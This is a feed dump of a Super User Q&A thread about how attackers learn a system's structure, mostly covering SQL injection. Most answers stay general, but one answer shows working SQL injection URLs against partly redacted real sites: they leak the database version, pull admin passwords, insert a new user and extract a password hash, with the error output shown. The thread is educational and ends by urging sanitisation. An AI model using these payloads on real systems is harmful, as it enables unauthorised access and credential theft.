How do hackers know what and how to hack a system? - Super User most recent 30 from superuser.com 2010-03-21T23:31:17Z http://superuser.com/feeds/question/39044 http://www.creativecommons.org/licenses/by-nc/2.5/rdf http://superuser.com/questions/39044/how-do-hackers-know-what-and-how-to-hack-a-system 7 How do hackers know what and how to hack a system? Draco http://superuser.com/users/0 2009-09-10T14:09:35Z 2009-11-11T23:40:58Z <p>Hi,</p> <p>I've been reading through a couple of posts about how to prevent your system from being hacked and I would like to know how a hacker actually knows how to exploit the system? For example, everyone says that one should use parametization as a defence against SQL injection, which the hacker could use to drop a table for instance. But how does the hacker know what tables are available in the DB? I guess maybe the hacker could submit a query to get a list of all tables in the DB, but I'm not too sure. </p> http://superuser.com/questions/39044/how-do-hackers-know-what-and-how-to-hack-a-system/39045#39045 2 Answer by David Dorward for How do hackers know what and how to hack a system? David Dorward http://superuser.com/users/18921 2009-09-10T14:10:45Z 2009-09-10T14:13:47Z <p>Easiest way? Guesswork. How many systems have a table called <em>users</em>, for instance.</p> http://superuser.com/questions/39044/how-do-hackers-know-what-and-how-to-hack-a-system/39052#39052 6 Answer by Tom Ritter for How do hackers know what and how to hack a system? Tom Ritter http://superuser.com/users/834 2009-09-10T14:21:10Z 2009-09-10T14:52:36Z <ul> <li>Cheating - a lot of threats come from insiders who... probably made the tables!</li> <li>Experience - when you've been in the business for a while you tend to notice trends. users isn't there? How about user, user_tbl or users_tbl? Which ties into:</li> <li>Educated Guesswork</li> <li>And finally, more cheating - if the program is open source (wordpress, phpbb) or generally common (vbulletin) everything's available or documented.</li> </ul> http://superuser.com/questions/39044/how-do-hackers-know-what-and-how-to-hack-a-system/39061#39061 21 Answer by Troggy for How do hackers know what and how to hack a system? Troggy http://superuser.com/users/2553 2009-09-10T14:27:29Z 2009-09-10T14:57:43Z <ul> <li><a href="http://en.wikipedia.org/wiki/Social%5Fengineering%5F%28security%29" rel="nofollow">Social Engineering</a></li> <li>Intelligent Guessing/Estimating (This is why you don't use default passwords, names, etc)</li> <li>Knowledge of the system they are exploiting (version numbers and known exploits, previous employment, or previous experience)</li> <li>Luck and Curiosity (hey, sometimes you just get lucky)</li> <li>then the 95% of the others are just <a href="http://en.wikipedia.org/wiki/Script%5Fkiddie" rel="nofollow">Script Kiddies</a>. </li> </ul> http://superuser.com/questions/39044/how-do-hackers-know-what-and-how-to-hack-a-system/39063#39063 0 Answer by Wil for How do hackers know what and how to hack a system? Wil http://superuser.com/users/4386 2009-09-10T14:28:12Z 2009-09-10T19:27:06Z <p>Generally speaking, for real applications it goes down to guess work, finding vulnerabilities, intercepting and changing packets, etc.</p> <p>For web applications it involves visiting the web pages and finding out what programs they are running, and again, finding vulnerabilities for the version run, or intercepting streams such as requests.</p> <p>I can't tell you how many applications have plain text or bad authentication, for example, it may be that you login and it returns a cookie called logged-in, and in there is something called user-level, and it can be changed to admin... This is just an example and many are much better, but you still see it from time to time.</p> http://superuser.com/questions/39044/how-do-hackers-know-what-and-how-to-hack-a-system/39069#39069 4 Answer by Workshop Alex for How do hackers know what and how to hack a system? Workshop Alex http://superuser.com/users/3964 2009-09-10T14:34:30Z 2009-09-10T14:34:30Z <p>When you talk about programmers/hackers then most of it is just based on experience. I do consider myself a hacker and am real proud of this title too! (Which is why I feel insulted that this Q moved to SuperUser!) </p> <p>There are, of course, other kinds of hackers who just learned a few tricks from others and possibly even share a few tricks. But if you wonder about security then you must know all possible weaknesses of current systems. And this knowledge can be used in good ways or bad ways. It's not the knowledge that makes it bad, it's the person who misuses it that makes it bad. (Just like guns...)</p> <p>Whenever I start designing a new project where security is important, I start by evaluating possible weaknesses. These tend to be the same at all times: user databases, Code injection and buffer overflows are the most common attacks. But there are several other ways to bypass security if you're familiar with the code behind it.</p> <p>For example, if someone uses phpBB on their website, they already have a big security problem! The database structure of phpBB is well-known thus hackers are already familiar with it's layout. The same is true for other open-source projects. Fortunately, some of those hackers (like me) will examine the source to find these weaknesses and then report them to the creator so these weaknesses will be closed. This is the main advantage of open-source: many eyes that can all examine the code for possible security flaws.</p> <p>With a site like SuperUser, things will become a bit of guesswork but a name like "user" or "UserData" tends to be very common. A name like "LKJHGFDSA" to store user data would be a lot harder to guess but also makes it less clear what it's used for. Obfuscation of code and data structures will make it slightly more difficult for hackers but they'll just start examining the code and translate everything back to regular names.</p> <p>Knowing how to write application will give a big advantage at hacking, although it's not a requirement. Unfortunately, most programmers are not interested enough in security and assume too much, leading to some very serious security problems. A website of the company I work for uses a simple database structure which stores usernamed in plaintext and their passwords as SHA-hashed strings. I have pointed out how insecure this is and realize why it's still secure enough. This weak password scheme is good enough simply because the information behind it isn't interesting for most hackers to access. (And the site is unknown to most people outside the company. Besides, part of it is only accessable through the Intr**a**net, not from outside out domain.</p> <p>In general, a hacker is someone who learned about weaknesses and strengths of applications. Most of them are programmers.</p> http://superuser.com/questions/39044/how-do-hackers-know-what-and-how-to-hack-a-system/39072#39072 3 Answer by hyperslug for How do hackers know what and how to hack a system? hyperslug http://superuser.com/users/542 2009-09-10T14:37:33Z 2009-09-10T14:37:33Z <ul> <li>Brute force - some systems have no limit on tries or timeouts</li> </ul> http://superuser.com/questions/39044/how-do-hackers-know-what-and-how-to-hack-a-system/39078#39078 1 Answer by Pascalo for How do hackers know what and how to hack a system? Pascalo http://superuser.com/users/194 2009-09-10T15:08:16Z 2009-09-10T15:08:16Z <p>You can get to the tables via sql injection just as well as you can drop a table.</p> http://superuser.com/questions/39044/how-do-hackers-know-what-and-how-to-hack-a-system/39212#39212 11 Answer by ChrisAD for How do hackers know what and how to hack a system? ChrisAD http://superuser.com/users/9347 2009-09-10T19:11:51Z 2009-09-10T19:11:51Z <p>I can show you a couple of real examples: </p> <p>You put this into your web browesr: </p> <pre><code>http://***.no/?what=31%20union%20all%20select%20@@version,1,2/* </code></pre> <p>and in return you get this message:</p> <pre><code>Warning: main(4.1.22-standard-log) [function.main]: failed to open stream: No such file or directory in /home/1/m/***/index.php on line 78 </code></pre> <p>Now this just got me the database and its version. Usefull information for a hacker. Then I notice they are running open source forum. I download the forum and check out the available tables (this can also be retrieved by other means such as further exploiting the error messages). The following query is a result of exploiting error messages to the point where Ive revealed alot of the information in the table Im querying against:</p> <pre><code>http://***.no/html/inc2/Games/quiz/login.asp?brukernavn=Admin' UNION SELECT id,passord,epost,'a','a','a','a','a','a',20,20 FROM AdminTable ORDER BY 11-- </code></pre> <p>Once you know a variable which you can exploit for SQL injection you can then start building queries like this: </p> <pre><code>http://xxx.no/html/inc2/xxx/xxx/login.asp?brukernavn=Admin'; insert into xxx values('NorHacks','attacker2@gmail.com','foobar',9000,9000,0,0,1,1,2)-- </code></pre> <p>Wow! I just created me a user...</p> <pre><code>http://xxx.no/?what=31%20union%20select%20converge_pass_hash,converge_pass_hash, 3%20from%20ibf_members_converge%20where%20converge_id%20=%201/* </code></pre> <p>Warning: main() [function.include]: Failed opening 'b42707056fbb201c9345d1c80a8fc7db' for inclusion (include_path='.:/usr/local/lib/php') in /home/1/m/xxx/index.php on line 78</p> <p>Now I got the md5 hash of the password + salt ... Im sure you get the point! Santize your data.</p> <p>You can read more about SQL injection papers at sites like www.milw0rm.com</p> http://superuser.com/questions/39044/how-do-hackers-know-what-and-how-to-hack-a-system/39275#39275 0 Answer by TomWij for How do hackers know what and how to hack a system? TomWij http://superuser.com/users/9666 2009-09-10T21:42:56Z 2009-09-10T21:42:56Z <p><strong>To answer your question in lay-man terms:</strong> The hacker tries to find a way to do bad things on the system, for which it needs to have some kind of way to get the bad things on the target system. He searches for the spots that have a high chance to be weak and tries some known exploits against it, from there he can do the things that are able to be done through the exploit. The hacker uses things that are visible on the outside the system, when he has access he can continue to use the things visible inside the system.</p> <p><strong>To answer your question in jargon:</strong> The hacker targets the SQL database to either gain data or damage the data, he can perform this through SQL injection. He searches for a way to input where the chance on a security check is small, from there he exploits the database by listing the SQL tables and then asking information and dropping as he pleases. Thus, for this he knew there was the usage of a SQL DB, and when he has access he can see the tables.</p> http://superuser.com/questions/39044/how-do-hackers-know-what-and-how-to-hack-a-system/69251#69251 0 Answer by Joe Internet for How do hackers know what and how to hack a system? Joe Internet http://superuser.com/users/11771 2009-11-11T23:40:58Z 2009-11-11T23:40:58Z <p>If you're interested in learning more about the subject, check out the book <a href="http://nostarch.com/hacking2.htm" rel="nofollow">Hacking: The Art of Exploitation</a>.</p>